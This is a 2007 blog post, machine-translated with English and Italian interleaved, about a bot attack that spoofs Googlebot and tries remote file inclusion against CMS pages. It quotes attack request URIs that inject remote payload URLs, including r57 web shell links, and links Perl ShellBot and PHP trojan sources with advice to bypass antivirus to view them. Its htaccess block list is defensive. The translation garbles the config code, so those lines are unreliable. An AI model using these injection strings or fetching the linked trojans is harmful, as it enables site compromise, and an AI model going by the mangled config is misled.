Mass Remote Code Injection as Googlebot - Packet Spoofing Perl bot & Trojan Messa di iniezione di codice in modalità remota in quanto Googlebot - Packet Spoofing Perl bot Trojan &

    • Dec Dicembre
    • 21 21

    Mass Remote Code Injection as Googlebot - Packet Spoofing Perl bot & Trojan Messa di iniezione di codice in modalità remota in quanto Googlebot - Packet Spoofing Perl bot Trojan &

    Posted by Noah Ark 9 months ago . Inviato da Arca di Noè 9 mesi fa.

    Filed under Security & injection . Elencato sotto Sicurezza e iniezione.

    gatto di proprietà For this past three days this blog is suffering DOS attack . Per questo ultimi tre giorni questo blog è la sofferenza attacco DOS. The attack is still alive now I don’t think they will leave yet. L'attacco è ancora vivo ora non credo che lascerà ancora.

    I cant banned this bot directly as they were sending forge packet (packet spoofing) as googlebot http://www.whois-search.com/whois/64.233.166.136. I cant vietato questo bot direttamente come sono stati l'invio di forgiare pacchetto (pacchetto spoofing), come googlebot http://www.whois-search.com/whois/64.233.166.136. Im still looking for the right ISP. Im ancora cercando il giusto provider di servizi Internet. 

     OrgName: Google Inc. OrgName: Google Inc 
 OrgID: GOGL OrgID: GOGL 
 Address: 1600 Amphitheatre Parkway Indirizzo: 1600 Amphitheater Parkway 
 City: Mountain View Città: Mountain View 
 StateProv: CA StateProv: CA 
 PostalCode: 94043 PostalCode: 94043 
 Country: US Paese: Stati Uniti

    At the time being I blocked all remote streams from their random host *.com and “perl bot signature” but blocking will not stop them from hammering this site. Al momento ho bloccato tutti i flussi di distanza dalla loro casuale ospitante *. com e "perl bot firma", ma il blocco non si ferma li martellare da questo sito. I’ll be sending 503 (Service Unavailable) on certain request so if you are having problem accessing this site please check back later. Sarò l'invio di 503 (Servizio non disponibile), su richiesta, in modo certo se si hanno problemi di accesso di questo sito si prega di controllare più tardi.

    Type of injections Tipo di iniezioni

    There is lot uri parameter in my logs (I will disabled server logs - limit resources) they probably has a large inventories check-lists of known CMS vulnerabilities. C'è molto parametro uri nel mio log (mi disabili log del server - limite di risorse) che probabilmente ha un grande inventari di check-list di vulnerabilità noto CMS. I can only confirm that its a blackhat seo spams bot as they request uri include the typical order.php page. Posso solo confermare che la sua uno blackhat seo spam bot in quanto richiesta uri includere il tipico order.php pagina. 

     /es/wordpress/how-to-removed-wordpress-net-in-spam-injection-infected-by-mike-ja / es / wordpress / how-to-eliminato-wordpress-net-a-spam-iniezione-per infettate-mike-ja 
  gger-goro-class-mailphp/order.php/?wp=http://hom3.t35.com/xpl/hack/id.txt? gger-goro-class-mailphp/order.php /? wp http://hom3.t35.com/xpl/hack/id.txt =? 
 /es/wordpress/order.php/?wp=http://hom3.t35.com/xpl/hack/id.txt? / es / wordpress / order.php /? wp http://hom3.t35.com/xpl/hack/id.txt =? 
 /order.php?wp=http://hom3.t35.com/xpl/hack/id.txt? / order.php? wp http://hom3.t35.com/xpl/hack/id.txt =?

    To view the following source you need to exclude the website host from your anti-virus program. Per visualizzare la seguente fonte è necessario escludere il sito ospitante dal tuo programma antivirus.

    • Perl/ShellBot.B trojan - http://hom3.t35.com/xpl/fidz/hack/bnc.txt Perl / ShellBot.B trojan - http://hom3.t35.com/xpl/fidz/hack/bnc.txt
    • PHP/Rst.S Trojan - http://hom3.t35.com/xpl/fidz PHP / Rst.S di Troia - http://hom3.t35.com/xpl/fidz

    htaccess blocked bad Code Injector and Perl Bot (Botnet) htaccess bloccato cattivo codice Iniettore e Perl Bot (botnet)

    If you has similar problems. Se ha problemi simili. you should block the following domain in your htaccess. si dovrebbe bloccare il dominio nel seguente vostre htaccess.
    mod_setenvif 

     SetEnvIfNoCase Referer "^http://(www.)?t35\.com" codeinjector_ref=1 SetEnvIfNoCase Referer "^ http:// (www.)? T35 \. It" codeinjector_ref = 1 
 SetEnvIfNoCase Referer "^http://(www.)?jorgevolio\.com" codeinjector_ref=1 SetEnvIfNoCase Referer "^ http:// (www.)? Jorgevolio \. It" codeinjector_ref = 1 
 SetEnvIfNoCase Referer "^http://(www.)?emabe\.com" codeinjector_ref=1 SetEnvIfNoCase Referer "^ http:// (www.)? Emabe \. It" codeinjector_ref = 1 
 SetEnvIfNoCase Referer "^http://(www.)?pawang\.in" codeinjector_ref=1 SetEnvIfNoCase Referer "^ http:// (www.)? Pawang \. Nel" codeinjector_ref = 1 
 SetEnvIfNoCase Referer "^http://(www.)?gw-gold\.net" codeinjector_ref=1 SetEnvIfNoCase Referer "^ http:// (www.)? GW-oro \. Net" codeinjector_ref = 1 
 SetEnvIfNoCase User-Agent "^libwww-perl*" shell_bots=1 SetEnvIfNoCase User-Agent "^ LibWWW-perl *" shell_bots = 1 
 SetEnvIfNoCase User-Agent "^Amidalla*" shell_bots=1 SetEnvIfNoCase User-Agent "^ Amidalla *" shell_bots = 1 

 <FilesMatch "(.*)"> <FilesMatch "(.*)"> 
 Order Allow,Deny Ordine consentire, negare 
 Allow from all Da consentire tutte le 
 Deny from env=codeinjector_ref Nega da env = codeinjector_ref 
 Deny from env=shell_bots Nega da env = shell_bots 
 </FilesMatch> </ FilesMatch>

    if u arent sure if you server support mod_setenvif wrap it like the below example. se u arent certo se avete il supporto per il server mod_setenvif avvolge come l'esempio seguente. 

     <IfModule mod_setenvif.c> <IfModule Mod_setenvif.c> 
 #...replace this line with the above code... # ... sostituire questa linea con il codice sopra ... 
 </IfModule> </ IfModule>

    How to trap Perl Shell Bot Come trappola di Shell in Perl Bot

    We need a pattern to trap this bots. Abbiamo bisogno di un modello di trappola questo bot. certainly we knew that these bots : sicuramente si sapeva che questi bot:

    • doesn’t honor robot.txt non fa onore robot.txt
    • they crawl all subdirectory che la scansione di tutti sottodirectory
    • they has a pattern URI request che ha un modello in notazione URI richiesta

    For now I only create subdirectory for auto-ban (and some other stuff) based on their pattern. Per ora ho solo creare sottodirectory per auto-divieto (e alcune altre cose) in base al loro modello. alexa bot will be banned too as they dont honor robot.txt. Alexa bot saranno vietate in quanto troppo dont robot.txt onore.

    I’ll be updating this post from time to time. Sarò aggiornamento questo post di volta in volta. Do check the related articles on how to packet spoofing and validating forge/spoof packet. Fate controllare i relativi articoli su come pacchetto e lo spoofing convalidare fucina / spoofing pacchetto.

    Recent Scan & Update I recenti & Scan aggiornamento

    The below list is automatically added. L'elenco qui di seguito viene aggiunto automaticamente.

    December 24, 2007 24 dicembre 2007
    ip: 64.26.63.10 param: login= , ? inject: http://pawang.in/r57.txt IP: 64.26.63.10 parametri: login =,? iniettare: http://pawang.in/r57.txt
    December 24, 2007 24 dicembre 2007
    ip: 64.26.63.10 param: dir= , login= inject: http://pawang.in/r57.txt???? IP: 64.26.63.10 parametri: = dir, effettua il login = iniettare: http://pawang.in/r57.txt?
    December 25, 2007 25 dicembre 2007
    ip: 59.158.128.138 param: p= , :allinurl= inject: http://gw-gold.net/jpg/pictures/test.txt IP: 59.158.128.138 parametri: p =,: = iniettare allinurl: http://gw-gold.net/jpg/pictures/test.txt

    External Resources Risorse esterne

    About the Author Chi l'Autore

     

    Tags: Tag:
    • December 21, 2007 at 10:48 pm 21 Dicembre 2007 alle 10:48 pm
    • February 16, 2008 at 3:05 am 16 febbraio 2008 a 3:05 am
    • 0.3 0,3
    • url URL

    • No Responses to “ Mass Remote Code Injection as Googlebot - Packet Spoofing Perl bot & Trojan ” Nessun Commento a "Messa di iniezione di codice in modalità remota in quanto Googlebot - Packet Spoofing Perl Bot & Trojan"

      Trackback URL: Trackback URL: Use the TrackBack url ↑ to ping this article. Utilizzare il Trackback URL ↑ a ping questo articolo. If your blog does not support Trackbacks you might want to leave a comment instead. Se il tuo blog non supporta TrackBacks si potrebbe desiderare di lasciare un commento invece.
        • RE: Mass Remote Code Injection as Googlebot - Packet Spoofing Perl bot & Trojan - 'The Guide' ↓ RE: Messa di iniezione di codice in modalità remota in quanto Googlebot - Packet Spoofing Perl Bot & Trojan - 'La Guida' ↓
          Mass Remote Code Injection as Googlebot - Packet Spoofing Perl bot & Trojan Kakkoi 9 months ago 5 url Messa di iniezione di codice in modalità remota in quanto Googlebot - Packet Spoofing Perl bot Trojan & Kakkoi 9 mesi fa 5 url
          Marvin, Point of View Gun

          The following "Code" are designed to protect you and other users of this site. La seguente "Codice" sono progettati per proteggere voi e gli altri utenti di questo sito.

          • Be relevant: Your comment should be a thoughtful contribution to the subject of the entry. Essere rilevanti: Il tuo commento dovrebbe essere un contributo attenti al tema della voce. Keep your comments constructive and polite. Tenere i tuoi commenti costruttivi e gentile.
          • No advertising or spamming: Do not use the comment feature to promote commercial entities/products, affiliates services or websites. N. pubblicità o spamming: non utilizzare la funzione di commento a promuovere enti commerciali / prodotti, di servizi affiliati o siti web. You are allowed to post a link as long as it's relevant to the entry. Sei autorizzato a postare un link fintanto che è rilevante per l'entrata.
          • Keep within the law: Do not link to offensive or illegal content websites. Tenere all'interno della legge: non offensivo link a contenuti illegali o siti web. Do not make any defamatory or disparaging comments which might damage the reputation of a person or organisation. Non fare nessuna diffamatorio o denigratorie commenti che potrebbero danneggiare la reputazione di una persona o organizzazione.
          • Privacy: Do not post any personal information relating to yourself or anyone else - (ie: address, place of employment, telephone or mobile number or email address). Privacy: Non pubblicare tutte le informazioni personali relative a te stesso o chiunque altro - (vale a dire: indirizzo, luogo di lavoro, telefono o numero di cellulare o indirizzo e-mail).

          In order to keep these experiences enjoyable and interesting for all of our users, we ask that you follow the above guidlines. Al fine di mantenere queste esperienze divertente e interessante per tutti i nostri utenti, ti chiediamo di seguire le guidlines sopra.

          be the first to comment. essere il primo a commentare.

          Kakkoi Feel free to engage, ask questions, and tell us what you are thinking! Sentiti libero di impegnarsi, porre domande, e dirci cosa stai pensando! Regular and insightful comments are most welcomed. Regolari e dettagliati commenti sono la maggior parte ha accolto con favore.

    "write as if you were talking to a good friend (in front of your mother)." "scrivere come se si trattasse di parlare di un buon amico (di fronte a tua madre)."

    .have your say . Dite la vostra

    Disclaimer: For any content that you post, you hereby grant to Kakkoi the royalty-free, irrevocable, perpetual, exclusive and fully sublicensable license to use, reproduce, modify, adapt, publish, translate, create derivative works from, distribute, perform and display such content in whole or in part, world-wide and to incorporate it in other works, in any form, media or technology now known or later developed. Some rights reserved. Disclaimer: Per qualsiasi contenuto che si posta, si dichiara di concedere Kakkoi il titolo gratuito, irrevocabile, perpetuo, esclusivo e pienamente sublicensable licenza di utilizzare, riprodurre, modificare, adattare, pubblicare, tradurre, creare opere derivate, distribuire, eseguire e visualizzare tali contenuti in tutto o in parte, in tutto il mondo e di incorporare in altri lavori, in qualsiasi forma, media o tecnologia attualmente conosciuta o sviluppata successivamente. Alcuni diritti riservati.

MySQL query error Query MySQL errore